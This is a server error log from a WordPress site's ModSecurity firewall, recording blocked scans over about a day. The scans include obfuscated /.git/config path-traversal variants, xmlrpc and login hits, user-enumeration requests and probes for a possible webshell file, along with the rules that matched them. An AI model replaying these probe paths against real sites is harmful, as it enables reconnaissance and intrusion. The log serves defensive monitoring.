[Fri Nov 28 11:37:53.244785 2025] [:error] [pid 60132:tid 60139] [client 213.21.239.4:57340] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/qa/.git/config"] [unique_id "aSkZETwokW6HMeZnqkEYVAAAAAU"]
[Fri Nov 28 11:37:53.246408 2025] [:error] [pid 60132:tid 60136] [client 213.21.239.4:57368] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/vetstars.com.au/.git/config;.."] [unique_id "aSkZETwokW6HMeZnqkEYVQAAAAI"]
[Fri Nov 28 11:37:53.251069 2025] [:error] [pid 60132:tid 60157] [client 213.21.239.4:57372] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/vetstars.com.au/.git/%0Aconfig"] [unique_id "aSkZETwokW6HMeZnqkEYVwAAABc"]
[Fri Nov 28 11:37:53.251742 2025] [:error] [pid 60132:tid 60146] [client 213.21.239.4:57438] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/vetstars.com.au../.git/config"] [unique_id "aSkZETwokW6HMeZnqkEYVgAAAAw"]
[Fri Nov 28 11:37:54.261495 2025] [:error] [pid 60047:tid 60073] [client 213.21.239.4:57472] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/www/.git/%0Aconfig"] [unique_id "aSkZEmwkchoTHdEAxX4HKQAAAVY"]
[Fri Nov 28 11:37:54.261461 2025] [:error] [pid 60047:tid 60052] [client 213.21.239.4:57476] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/www../.git/config"] [unique_id "aSkZEmwkchoTHdEAxX4HKgAAAUE"]
[Fri Nov 28 11:37:55.219620 2025] [:error] [pid 60049:tid 60105] [client 213.21.239.4:57492] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/www/.git/config"] [unique_id "aSkZE6xH5eVXyMm4cqkYfgAAAcA"]
[Fri Nov 28 11:37:55.228466 2025] [:error] [pid 60049:tid 60124] [client 213.21.239.4:57500] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/www/.git/config;"] [unique_id "aSkZE6xH5eVXyMm4cqkYfwAAAdM"]
[Fri Nov 28 11:37:55.239387 2025] [:error] [pid 60047:tid 60061] [client 213.21.239.4:57530] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/www/.git/config;.."] [unique_id "aSkZE2wkchoTHdEAxX4HKwAAAUo"]
[Fri Nov 28 11:37:55.257610 2025] [:error] [pid 60049:tid 60129] [client 213.21.239.4:57508] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/www/;/.git/config"] [unique_id "aSkZE6xH5eVXyMm4cqkYgAAAAdg"]
[Fri Nov 28 11:37:55.268269 2025] [:error] [pid 60049:tid 60108] [client 213.21.239.4:57538] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/www/..;/.git/config"] [unique_id "aSkZE6xH5eVXyMm4cqkYgQAAAcM"]
[Fri Nov 28 11:37:56.243204 2025] [:error] [pid 60049:tid 60110] [client 213.21.239.4:57548] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/www/static../.git/config"] [unique_id "aSkZFKxH5eVXyMm4cqkYgwAAAcU"]
[Fri Nov 28 11:37:56.243767 2025] [:error] [pid 60047:tid 60060] [client 213.21.239.4:57624] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/wp-content/themes/.git/config"] [unique_id "aSkZFGwkchoTHdEAxX4HLQAAAUk"]
[Fri Nov 28 11:37:56.246801 2025] [:error] [pid 60048:tid 60097] [client 213.21.239.4:57562] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/staging/.git/config"] [unique_id "aSkZFDi22rH28sNFSdJXggAAAZM"]
[Fri Nov 28 11:37:56.248303 2025] [:error] [pid 60049:tid 60106] [client 213.21.239.4:57590] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/uat/.git/config"] [unique_id "aSkZFKxH5eVXyMm4cqkYhAAAAcE"]
[Fri Nov 28 11:37:56.253547 2025] [:error] [pid 60049:tid 60119] [client 213.21.239.4:57600] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/web/.git/config"] [unique_id "aSkZFKxH5eVXyMm4cqkYhQAAAc4"]
[Fri Nov 28 11:37:56.254986 2025] [:error] [pid 60047:tid 60058] [client 213.21.239.4:57602] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/wp-content/.git/config"] [unique_id "aSkZFGwkchoTHdEAxX4HLgAAAUc"]
[Fri Nov 28 11:37:56.270475 2025] [:error] [pid 60048:tid 60100] [client 213.21.239.4:57608] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/wp-content/plugins/.git/config"] [unique_id "aSkZFDi22rH28sNFSdJXgwAAAZY"]
[Fri Nov 28 11:37:56.271479 2025] [:error] [pid 60048:tid 60079] [client 213.21.239.4:57578] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/static../.git/config"] [unique_id "aSkZFDi22rH28sNFSdJXhAAAAYE"]
[Fri Nov 28 12:57:35.554097 2025] [:error] [pid 34292:tid 34308] [client 144.126.234.59:53547] [client 144.126.234.59] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 144.126.234.59, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aSkrv33F38HO0odRi1SnBwAAAA4"]
[Fri Nov 28 12:57:38.456362 2025] [:error] [pid 29611:tid 29628] [client 144.126.234.59:53364] [client 144.126.234.59] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 144.126.234.59, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aSkrwuInGDlRZ1ex5kAwxgAAAQ8"]
[Fri Nov 28 14:50:22.365213 2025] [:error] [pid 59559:tid 59591] [client 182.43.70.143:54419] [client 182.43.70.143] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "aSlGLhqw_7c4pIN46wkQ9gAAAMI"]
[Fri Nov 28 19:27:25.305324 2025] [:error] [pid 59645:tid 59659] [client 115.186.195.13:49295] [client 115.186.195.13] ModSecurity: collections_remove_stale: Failed deleting collection (name "ip", key "49.156.206.79_6f08d6ac81fd8295eaf934d99236d6506925c70a"): Internal error (specific information not available) [hostname "vetstars.com.au"] [uri "/wp-content/uploads/elementor/css/post-16.css"] [unique_id "aSmHGyAY8JAkoCJBYqw4egAAAIs"], referer: https://vetstars.com.au/services/
[Fri Nov 28 21:26:35.818834 2025] [:error] [pid 38435:tid 38457] [client 120.71.59.24:50059] [client 120.71.59.24] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aSmjC9t2E1u6lE46UplxOQAAABQ"]
[Fri Nov 28 21:44:24.471530 2025] [:error] [pid 38348:tid 38411] [client 35.243.230.64:63159] [client 35.243.230.64] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.243.230.64, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aSmnOMSOkpW1TVizicQNyAAAAMc"]
[Fri Nov 28 21:44:28.387539 2025] [:error] [pid 38348:tid 38428] [client 35.243.230.64:63159] [client 35.243.230.64] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users/"] [unique_id "aSmnPMSOkpW1TVizicQN0gAAANg"]
[Fri Nov 28 21:44:30.997917 2025] [:error] [pid 38348:tid 38414] [client 35.243.230.64:63159] [client 35.243.230.64] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.243.230.64, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aSmnPsSOkpW1TVizicQN1QAAAMo"]
[Fri Nov 28 21:45:33.931953 2025] [:error] [pid 47395:tid 47403] [client 34.42.21.73:55374] [client 34.42.21.73] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.42.21.73, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aSmnfQL-OiEmV804OC3B_gAAAQU"]
[Fri Nov 28 21:45:36.929906 2025] [:error] [pid 47395:tid 47407] [client 34.42.21.73:55374] [client 34.42.21.73] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users/"] [unique_id "aSmngAL-OiEmV804OC3CBAAAAQk"]
[Fri Nov 28 21:45:39.027735 2025] [:error] [pid 47395:tid 47418] [client 34.42.21.73:55374] [client 34.42.21.73] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.42.21.73, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aSmngwL-OiEmV804OC3CBgAAARQ"]
[Fri Nov 28 21:58:49.820235 2025] [:error] [pid 38346:tid 38371] [client 136.116.148.236:49608] [client 136.116.148.236] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 136.116.148.236, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aSmqmTVLXLVaGOn9rSkCwgAAAZU"]
[Fri Nov 28 21:58:52.525826 2025] [:error] [pid 38346:tid 38374] [client 136.116.148.236:49608] [client 136.116.148.236] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users/"] [unique_id "aSmqnDVLXLVaGOn9rSkCxwAAAZg"]
[Fri Nov 28 21:58:54.773295 2025] [:error] [pid 38346:tid 38356] [client 136.116.148.236:49608] [client 136.116.148.236] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 136.116.148.236, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aSmqnjVLXLVaGOn9rSkCywAAAYY"]
[Fri Nov 28 22:28:27.254319 2025] [:error] [pid 38346:tid 38366] [client 35.197.93.211:54870] [client 35.197.93.211] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.197.93.211, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aSmxizVLXLVaGOn9rSkKGQAAAZA"]
[Fri Nov 28 22:28:30.182126 2025] [:error] [pid 38346:tid 38357] [client 35.197.93.211:54870] [client 35.197.93.211] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users/"] [unique_id "aSmxjjVLXLVaGOn9rSkKHwAAAYc"]
[Fri Nov 28 22:28:32.500458 2025] [:error] [pid 38346:tid 38363] [client 35.197.93.211:54870] [client 35.197.93.211] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.197.93.211, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aSmxkDVLXLVaGOn9rSkKIQAAAY0"]
[Sat Nov 29 00:04:54.934209 2025] [:error] [pid 42807:tid 42813] [client 103.167.150.158:51704] [client 103.167.150.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/media/system/js/core.js"] [unique_id "aSnIJriVNcUICHtTcwqt3QAAAIM"]
[Sat Nov 29 01:01:58.701431 2025] [:error] [pid 57438:tid 57452] [client 34.141.145.39:53111] [client 34.141.145.39] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.141.145.39, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aSnVhqANc56NCdbFpjvt7wAAAMw"]
[Sat Nov 29 01:02:02.394657 2025] [:error] [pid 57438:tid 57445] [client 34.141.145.39:53111] [client 34.141.145.39] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users/"] [unique_id "aSnViqANc56NCdbFpjvt9QAAAMU"]
[Sat Nov 29 01:02:04.875070 2025] [:error] [pid 57438:tid 57464] [client 34.141.145.39:53111] [client 34.141.145.39] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.141.145.39, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aSnVjKANc56NCdbFpjvt-gAAANg"]
[Sat Nov 29 02:44:34.823755 2025] [:error] [pid 9654:tid 9658] [client 121.127.34.120:61780] [client 121.127.34.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/really-simple-ssl/readme.txt"] [unique_id "aSntknwlAlfevRIdjr--DAAAAEA"]
[Sat Nov 29 02:44:35.423018 2025] [:error] [pid 9655:tid 9697] [client 121.127.34.120:56727] [client 121.127.34.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/really-simple-ssl/readme.txt"] [unique_id "aSntk006gYqtNcz_Y881-QAAAAw"]
[Sat Nov 29 02:44:36.023505 2025] [authz_core:error] [pid 9907:tid 9928] [client 121.127.34.120:58588] AH01630: client denied by server configuration: /home/vetstars/public_html/wp-content/plugins/really-simple-ssl/readme.txt
[Sat Nov 29 02:44:53.663747 2025] [:error] [pid 9907:tid 9923] [client 121.127.34.120:57915] [client 121.127.34.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/latepoint/readme.txt"] [unique_id "aSntpeFoCqXx6ihYWZwYogAAAQ4"]
[Sat Nov 29 02:44:54.290555 2025] [:error] [pid 57438:tid 57442] [client 121.127.34.120:59747] [client 121.127.34.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/latepoint/readme.txt"] [unique_id "aSntpqANc56NCdbFpjsIwwAAAMI"]
[Sat Nov 29 02:44:54.908450 2025] [:error] [pid 9907:tid 9929] [client 121.127.34.120:61387] [client 121.127.34.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/latepoint/readme.txt"] [unique_id "aSntpuFoCqXx6ihYWZwYowAAARQ"]
[Sat Nov 29 05:19:45.738182 2025] [:error] [pid 53818:tid 53868] [client 119.18.2.56:26974] [client 119.18.2.56] ModSecurity: collections_remove_stale: Failed deleting collection (name "ip", key "39.136.102.111_02c056336aad73c98403053821f558e835826638"): Internal error (specific information not available) [hostname "vetstars.com.au"] [uri "/wp-content/uploads/2023/01/vet_stars_logo-transparent.png"] [unique_id "aSoR7pY2lVKaQoKCJUK-0AAAAFM"], referer: https://vetstars.com.au/
[Sat Nov 29 06:03:30.319712 2025] [:error] [pid 53817:tid 53829] [client 217.146.83.115:38652] [client 217.146.83.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lock360.php"] [unique_id "aSocMhUtaHwNb4_nTTSwewAAAAg"]
[Sat Nov 29 06:03:30.836028 2025] [:error] [pid 22280:tid 22305] [client 217.146.83.115:43200] [client 217.146.83.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lock360.php"] [unique_id "aSocMpFKJ7cA_ndzTYsz3AAAAVc"]
[Sat Nov 29 06:03:31.355852 2025] [:error] [pid 53817:tid 53833] [client 217.146.83.115:43536] [client 217.146.83.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lock360.php"] [unique_id "aSocMxUtaHwNb4_nTTSwlQAAAAw"]
[Sat Nov 29 06:03:31.878284 2025] [:error] [pid 22939:tid 22951] [client 217.146.83.115:43882] [client 217.146.83.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lock360.php"] [unique_id "aSocM9Rbdh0p_UmbHuCH7QAAAYo"]
[Sat Nov 29 06:03:32.399108 2025] [:error] [pid 53818:tid 53855] [client 217.146.83.115:44268] [client 217.146.83.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lock360.php"] [unique_id "aSocNJY2lVKaQoKCJULJnAAAAEY"]
[Sat Nov 29 06:03:32.921520 2025] [autoindex:error] [pid 19562:tid 19585] [client 217.146.83.115:44606] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/css/dist/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Nov 29 06:03:33.181038 2025] [:error] [pid 19562:tid 19567] [client 217.146.83.115:44606] [client 217.146.83.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-includes/js/dist/"] [unique_id "aSocNV4oDK0S9prYl7loegAAAQM"]
[Sat Nov 29 06:03:33.695944 2025] [:error] [pid 22280:tid 22295] [client 217.146.83.115:45230] [client 217.146.83.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-includes/js/dist/"] [unique_id "aSocNZFKJ7cA_ndzTYs0FwAAAU0"]
